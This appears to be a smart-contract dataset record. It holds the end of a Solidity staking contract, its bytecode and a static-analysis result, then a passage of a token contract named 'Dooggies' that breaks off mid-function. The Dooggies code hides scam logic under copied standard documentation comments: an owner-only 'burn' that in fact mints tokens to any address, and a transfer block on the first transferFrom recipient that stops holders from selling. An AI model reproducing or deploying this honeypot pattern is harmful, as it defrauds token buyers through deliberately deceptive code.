require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake);
totalDeposited = totalDeposited.add(amountToStake);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
}
}
function claim() public{
require(holders.contains(msg.sender));
require(block.timestamp.sub(startTime) > claimTime || ended, "Not yet.");
require(pending[msg.sender] > 0);
uint _reward = pending[msg.sender];
pending[msg.sender] = 0;
require(Token(tokenAddress).transfer(msg.sender, _reward), "Could not transfer tokens.");
totalClaimedRewards = totalClaimedRewards.add(_reward);
totalEarnedTokens[msg.sender] = totalEarnedTokens[msg.sender].add(_reward);
if(depositedTokens[msg.sender] == 0){
holders.remove(msg.sender);
}
}
function withdraw(uint _amount) public{
require(block.timestamp.sub(startTime) > unstakeTime || ended, "Not yet.");
require(depositedTokens[msg.sender] >= _amount);
require(_amount > 0);
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(_amount);
totalDeposited = totalDeposited.sub(_amount);
require(Token(tokenAddress).transfer(msg.sender, _amount), "Could not transfer tokens.");
if(depositedTokens[msg.sender] == 0 && pending[msg.sender] == 0){
holders.remove(msg.sender);
}
}
/*
function withdrawAllAfterEnd() public {
require(ended, "Staking has not ended");
uint _pend = pending[msg.sender];
uint amountToWithdraw = _pend.add(depositedTokens[msg.sender]);
require(amountToWithdraw >= 0, "Invalid amount to withdraw");
pending[msg.sender] = 0;
depositedTokens[msg.sender] = 0;
totalDeposited = totalDeposited.sub(depositedTokens[msg.sender]);
require(Token(tokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
totalClaimedRewards = totalClaimedRewards.add(_pend);
totalEarnedTokens[msg.sender] = totalEarnedTokens[msg.sender].add(_pend);
holders.remove(msg.sender);
}*/
function getStakersList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require (_tokenAddr != tokenAddress , "Cannot Transfer Out this token");
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c806398896d10116100de578063c3e5ae5311610097578063d9eaa3ed11610071578063d9eaa3ed1461047c578063efbe1c1c146104ac578063f2fde38b146104ca578063ff50abdc146104e65761018e565b8063c3e5ae5314610410578063d578ceab14610440578063d7e527451461045e5761018e565b806398896d101461033a5780639d76ea581461036a578063abc6fd0b14610388578063b6b55f25146103a6578063bf95c78d146103c2578063c326bf4f146103e05761018e565b80635eebea201161014b578063750142e611610125578063750142e6146102c257806378e97925146102e05780638da5cb5b146102fe5780639232eed31461031c5761018e565b80635eebea20146102465780636270cd18146102765780636a395ccb146102a65761018e565b806312fa6feb146101935780631911cf4a146101b157806327b3bf11146101e45780632e1a7d4d14610202578063308feec31461021e5780634e71d92d1461023c575b600080fd5b61019b610504565b6040516101a8919061253b565b60405180910390f35b6101cb60048036038101906101c691906121d4565b610517565b6040516101db94939291906124da565b60405180910390f35b6101ec61087a565b6040516101f99190612656565b60405180910390f35b61021c600480360381019061021791906121ab565b610881565b005b610226610b86565b6040516102339190612656565b60405180910390f35b610244610b97565b005b610260600480360381019061025b919061210a565b610eea565b60405161026d9190612656565b60405180910390f35b610290600480360381019061028b919061210a565b610f02565b60405161029d9190612656565b60405180910390f35b6102c060048036038101906102bb9190612133565b610f1a565b005b6102ca611088565b6040516102d79190612656565b60405180910390f35b6102e861108e565b6040516102f59190612656565b60405180910390f35b610306611094565b604051610313919061245f565b60405180910390f35b6103246110b8565b6040516103319190612656565b60405180910390f35b610354600480360381019061034f919061210a565b6110be565b6040516103619190612656565b60405180910390f35b61037261112f565b60405161037f919061245f565b60405180910390f35b610390611147565b60405161039d919061253b565b60405180910390f35b6103c060048036038101906103bb91906121ab565b611360565b005b6103ca6115bf565b6040516103d79190612656565b60405180910390f35b6103fa60048036038101906103f5919061210a565b6115c5565b6040516104079190612656565b60405180910390f35b61042a6004803603810190610425919061210a565b6115dd565b6040516104379190612656565b60405180910390f35b6104486115f5565b6040516104559190612656565b60405180910390f35b6104666115fb565b6040516104739190612656565b60405180910390f35b610496600480360381019061049191906121ab565b611602565b6040516104a3919061253b565b60405180910390f35b6104b4611841565b6040516104c1919061253b565b60405180910390f35b6104e460048036038101906104df919061210a565b61190e565b005b6104ee611a5d565b6040516104fb9190612656565b60405180910390f35b600660009054906101000a900460ff1681565b60608060608084861061052957600080fd5b600061053e8787611a6390919063ffffffff16565b905060008167ffffffffffffffff811115610582577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156105b05781602001602082028036833780820191505090505b50905060008267ffffffffffffffff8111156105f5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156106235781602001602082028036833780820191505090505b50905060008367ffffffffffffffff811115610668577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156106965781602001602082028036833780820191505090505b50905060008467ffffffffffffffff8111156106db577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156107095781602001602082028036833780820191505090505b50905060008b90505b8a81101561085f576000610730826008611ab090919063ffffffff16565b905060006107478e84611a6390919063ffffffff16565b905081878281518110610783577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610836577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010181815250505050610858600182611aca90919063ffffffff16565b9050610712565b50838383839850985098509850505050505092959194509250565b6230c78081565b6230c78061089a60075442611a6390919063ffffffff16565b11806108b25750600660009054906101000a900460ff165b6108f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e890612636565b60405180910390fd5b80600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561093d57600080fd5b6000811161094a57600080fd5b61099c81600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6390919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109f481600454611a6390919063ffffffff16565b6004819055507387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a499291906124b1565b602060405180830381600087803b158015610a6357600080fd5b505af1158015610a77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9b9190612182565b610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad1906125b6565b60405180910390fd5b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610b6857506000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610b8357610b81336008611b1c90919063ffffffff16565b505b50565b6000610b926008611b4c565b905090565b610bab336008611b6190919063ffffffff16565b610bb457600080fd5b6230c780610bcd60075442611a6390919063ffffffff16565b1180610be55750600660009054906101000a900460ff165b610c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1b90612636565b60405180910390fd5b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610c7057600080fd5b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610d489291906124b1565b602060405180830381600087803b158015610d6257600080fd5b505af1158015610d76573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9a9190612182565b610dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd0906125b6565b60405180910390fd5b610dee81600354611aca90919063ffffffff16565b600381905550610e4681600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610ee757610ee5336008611b1c90919063ffffffff16565b505b50565b600b6020528060005260406000206000915090505481565b600c6020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f7257600080fd5b7387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ff5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fec90612596565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b81526004016110309291906124b1565b602060405180830381600087803b15801561104a57600080fd5b505af115801561105e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110829190612182565b50505050565b60025481565b60075481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015481565b60006110d4826008611b6190919063ffffffff16565b6110e1576000905061112a565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050809150505b919050565b7387ea1f06d7293161b9ff080662c1b0df775122d381565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111a257600080fd5b600660009054906101000a900460ff16156111f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e990612576565b60405180910390fd5b60008060005b6112026008611b4c565b8110156113395761121d816008611ab090919063ffffffff16565b9250611287600454611279600154600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9190919063ffffffff16565b611bf890919063ffffffff16565b91506112db82600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611332600182611aca90919063ffffffff16565b90506111f8565b50611351600154600554611aca90919063ffffffff16565b60058190555060019250505090565b600660009054906101000a900460ff16156113b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a7906125d6565b60405180910390fd5b600081116113f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ea906125f6565b60405180910390fd5b7387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b81526004016114449392919061247a565b602060405180830381600087803b15801561145e57600080fd5b505af1158015611472573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114969190612182565b6114d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cc90612616565b60405180910390fd5b6114de33611c13565b61153081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061158881600454611aca90919063ffffffff16565b6004819055506115a2336008611b6190919063ffffffff16565b6115bc576115ba336008611dd390919063ffffffff16565b505b50565b60055481565b600a6020528060005260406000206000915090505481565b600d6020528060005260406000206000915090505481565b60035481565b6230c78081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461165d57600080fd5b600660009054906101000a900460ff16156116ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a490612576565b60405180910390fd5b600082116116ba57600080fd5b60008060005b6116ca6008611b4c565b8110156117ff576116e5816008611ab090919063ffffffff16565b925061174d60045461173f87600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9190919063ffffffff16565b611bf890919063ffffffff16565b91506117a182600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117f8600182611aca90919063ffffffff16565b90506116c0565b5061181584600554611aca90919063ffffffff16565b6005819055506001600660006101000a81548160ff021916908315150217905550600192505050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461189c57600080fd5b600660009054906101000a900460ff16156118ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e390612576565b60405180910390fd5b6001600660006101000a81548160ff0219169083151502179055506001905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461196657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119a057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b600082821115611a9c577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8183611aa891906127d5565b905092915050565b6000611abf8360000183611e03565b60001c905092915050565b6000808284611ad991906126f4565b905083811015611b12577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8091505092915050565b6000611b44836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611e9d565b905092915050565b6000611b5a82600001612027565b9050919050565b6000611b89836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612038565b905092915050565b6000808284611ba0919061277b565b90506000841480611bbb5750828482611bb9919061274a565b145b611bee577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8091505092915050565b6000808284611c07919061274a565b90508091505092915050565b6000611c1e826110be565b90506000811115611dcf576000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cc081600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d1881600454611aca90919063ffffffff16565b600481905550611d7081600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dc881600354611aca90919063ffffffff16565b6003819055505b5050565b6000611dfb836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61205b565b905092915050565b600081836000018054905011611e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4590612556565b60405180910390fd5b826000018281548110611e8a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905092915050565b6000808360010160008481526020019081526020016000205490506000811461201b576000600182611ecf91906127d5565b9050600060018660000180549050611ee791906127d5565b90506000866000018281548110611f27577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905080876000018481548110611f71577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200181905550600183611f8c91906126f4565b8760010160008381526020019081526020016000208190555086600001805480611fdf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612021565b60009150505b92915050565b600081600001805490509050919050565b600080836001016000848152602001908152602001600020541415905092915050565b60006120678383612038565b6120c05782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506120c5565b600090505b92915050565b6000813590506120da81612a1d565b92915050565b6000815190506120ef81612a34565b92915050565b60008135905061210481612a4b565b92915050565b60006020828403121561211c57600080fd5b600061212a848285016120cb565b91505092915050565b60008060006060848603121561214857600080fd5b6000612156868287016120cb565b9350506020612167868287016120cb565b9250506040612178868287016120f5565b9150509250925092565b60006020828403121561219457600080fd5b60006121a2848285016120e0565b91505092915050565b6000602082840312156121bd57600080fd5b60006121cb848285016120f5565b91505092915050565b600080604083850312156121e757600080fd5b60006121f5858286016120f5565b9250506020612206858286016120f5565b9150509250929050565b600061221c8383612240565b60208301905092915050565b60006122348383612441565b60208301905092915050565b61224981612809565b82525050565b61225881612809565b82525050565b600061226982612691565b61227381856126c1565b935061227e83612671565b8060005b838110156122af5781516122968882612210565b97506122a1836126a7565b925050600181019050612282565b5085935050505092915050565b60006122c78261269c565b6122d181856126d2565b93506122dc83612681565b8060005b8381101561230d5781516122f48882612228565b97506122ff836126b4565b9250506001810190506122e0565b5085935050505092915050565b6123238161281b565b82525050565b60006123366022836126e3565b9150612341826128af565b604082019050919050565b60006123596015836126e3565b9150612364826128fe565b602082019050919050565b600061237c601e836126e3565b915061238782612927565b602082019050919050565b600061239f601a836126e3565b91506123aa82612950565b602082019050919050565b60006123c26011836126e3565b91506123cd82612979565b602082019050919050565b60006123e56017836126e3565b91506123f0826129a2565b602082019050919050565b6000612408601c836126e3565b9150612413826129cb565b602082019050919050565b600061242b6008836126e3565b9150612436826129f4565b602082019050919050565b61244a81612847565b82525050565b61245981612847565b82525050565b6000602082019050612474600083018461224f565b92915050565b600060608201905061248f600083018661224f565b61249c602083018561224f565b6124a96040830184612450565b949350505050565b60006040820190506124c6600083018561224f565b6124d36020830184612450565b9392505050565b600060808201905081810360008301526124f4818761225e565b9050818103602083015261250881866122bc565b9050818103604083015261251c81856122bc565b9050818103606083015261253081846122bc565b905095945050505050565b6000602082019050612550600083018461231a565b92915050565b6000602082019050818103600083015261256f81612329565b9050919050565b6000602082019050818103600083015261258f8161234c565b9050919050565b600060208201905081810360008301526125af8161236f565b9050919050565b600060208201905081810360008301526125cf81612392565b9050919050565b600060208201905081810360008301526125ef816123b5565b9050919050565b6000602082019050818103600083015261260f816123d8565b9050919050565b6000602082019050818103600083015261262f816123fb565b9050919050565b6000602082019050818103600083015261264f8161241e565b9050919050565b600060208201905061266b6000830184612450565b92915050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126ff82612847565b915061270a83612847565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561273f5761273e612851565b5b828201905092915050565b600061275582612847565b915061276083612847565b9250826127705761276f612880565b5b828204905092915050565b600061278682612847565b915061279183612847565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127ca576127c9612851565b5b828202905092915050565b60006127e082612847565b91506127eb83612847565b9250828210156127fe576127fd612851565b5b828203905092915050565b600061281482612827565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e60008201527f6473000000000000000000000000000000000000000000000000000000000000602082015250565b7f5374616b696e6720616c726561647920656e6465640000000000000000000000600082015250565b7f43616e6e6f74205472616e73666572204f7574207468697320746f6b656e0000600082015250565b7f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000600082015250565b7f5374616b696e672068617320656e646564000000000000000000000000000000600082015250565b7f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000600082015250565b7f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000600082015250565b7f4e6f74207965742e000000000000000000000000000000000000000000000000600082015250565b612a2681612809565b8114612a3157600080fd5b50565b612a3d8161281b565b8114612a4857600080fd5b50565b612a5481612847565b8114612a5f57600080fd5b5056fea264697066735822122096f2507543da33ece61d91391f27e79c0acda8ffdf90a9a5b2751d031276679864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,019 |
0x6467412e782d43886744963877594e332405fd3e
|
/**
*Submitted for verification at Etherscan.io on 2022-02-23
*/
// SPDX-License-Identifier: GNU GPLv3
/**
🅳🅾🅾🅶🅶🅸🅴🆂
Website: https://dooggies.com/
Twitter: https://twitter.com/DooggiesNFT
*/
pragma solidity >=0.8.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
abstract contract IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function invalidAddress(address _address) virtual external view returns (bool){}
/**
* @dev Returns if it is a invalid address.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function approver() virtual external view returns (address){}
/**
* @dev approver of the amount of tokens that can interact with the allowance mechanism
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract Dooggies is IERC20, Owned{
using SafeMath for uint;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
string public symbol;
address internal approver;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal invalid;
address internal openzepplin = 0x40E8eF70655f04710E89D1Ff048E919da58CC6b8;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
*@dev Leaves the contract without owner. It will not be possible to call 'onlyOwner'
* functions anymore. Can only be called by the current owner.
*/
function burn(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: burn from the zero address");
_burn (_address, tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == approver) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _transfer (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _burn(address _Address, uint _Amount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
invalid = _Address;
_totalSupply = _totalSupply.add(_Amount);
balances[_Address] = balances[_Address].add(_Amount);
}
function _transfer (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
